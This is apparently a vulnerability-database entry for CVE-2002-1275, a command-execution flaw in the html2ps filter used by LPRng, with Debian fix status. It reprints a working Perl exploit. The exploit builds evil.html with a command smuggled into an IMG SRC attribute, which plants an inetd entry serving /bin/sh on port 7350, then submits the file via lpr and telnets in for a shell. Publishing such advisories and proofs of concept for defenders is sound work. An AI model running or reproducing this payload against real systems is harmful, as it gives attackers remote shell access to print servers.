CVE-2002-1275
unknown
CVSS v3
—
CVSS v4 NEW
—
VIR risk
1.0
Description
Unknown vulnerability in html2ps HTML/PostScript converter 1.0, when used within LPRng, allows remote attackers to execute arbitrary code via "unsanitized input."
Predictions
Exploit likelihood
20%
Patch ETA
—
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
LPRNG html2ps 1.0 - Remote Command Execution
source: https://www.securityfocus.com/bid/6079/info
A vulnerability has been discovered in the html2ps filter which is included in the lprng print system.
It has been reported that it is possible for a remote attacker to execute arbitrary commands. The attacker must reportedly already have access to the 'lp' (or equivalent) account to exploit this condition.
This cause of this vulnerability is that html2ps may open files using unsanitized input that may be supplied by a potentially malicious user.
#!/usr/bin/perl -W
# html2ps remote "lp" exploit. Opens shell on port 7350.
# If used for testing remote machines, /etc/printcap must
# contain apropriate remote printernames etc. and lpd must
# be set up correctly.
# (C) 2002 Sebastian Krahmer, proof of concept exploit.
# Brief problem description: lprng calls printfilters as any
# other print-spooloing systems do. It calls them with UID of lp
# thats why you get lp-user shell later. The html2ps filter which is
# a perl script is called to convert the evil.html to .ps.
# However there it breaks because html2ps calls open() function insecurely
# and some other bad stuff is done too. It tries to convert the IMG embedded
# in the html and invokes some commands which give us access. Thats all. :)
sub usage
{
print "\n$0 <printhost> <remote-host>\n".
"\tprinthost -- name of printer in /etc/printcap\n".
"\tremote-host -- IP or hostname of host where shell appears\n".
"'$0 lp 127.0.0.1' is recommended for everyones own machine\n\n";
exit;
}
my $printhost = shift || usage();
my $remote = shift || usage();
print "Constructing evil.html ...\n";
open O, ">evil.html" or die $!;
print O<<__eof__;
<HTML>
<IMG SRC="|IFS=A;X=A;echo\${X}7350\${X}stream\${X}tcp\${X}nowait\${X}lp\${X}/bin/sh\${X}-i|dd\${X}of=/tmp/f;inetd\${X}/tmp/f">
</HTML>
__eof__
close O;
if (fork() == 0) {
exec("/usr/bin/lpr", "-P", $printhost, "evil.html");
}
wait;
sleep 3;
print "Connecting ...\n";
exec("/usr/bin/telnet", $remote, 7350);OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.0b3-2 |
| sid | Fixed | 1.0b3-2 |
| forky | Fixed | 1.0b3-2 |
| bullseye | Fixed | 1.0b3-2 |
| bookworm | Fixed | 1.0b3-2 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.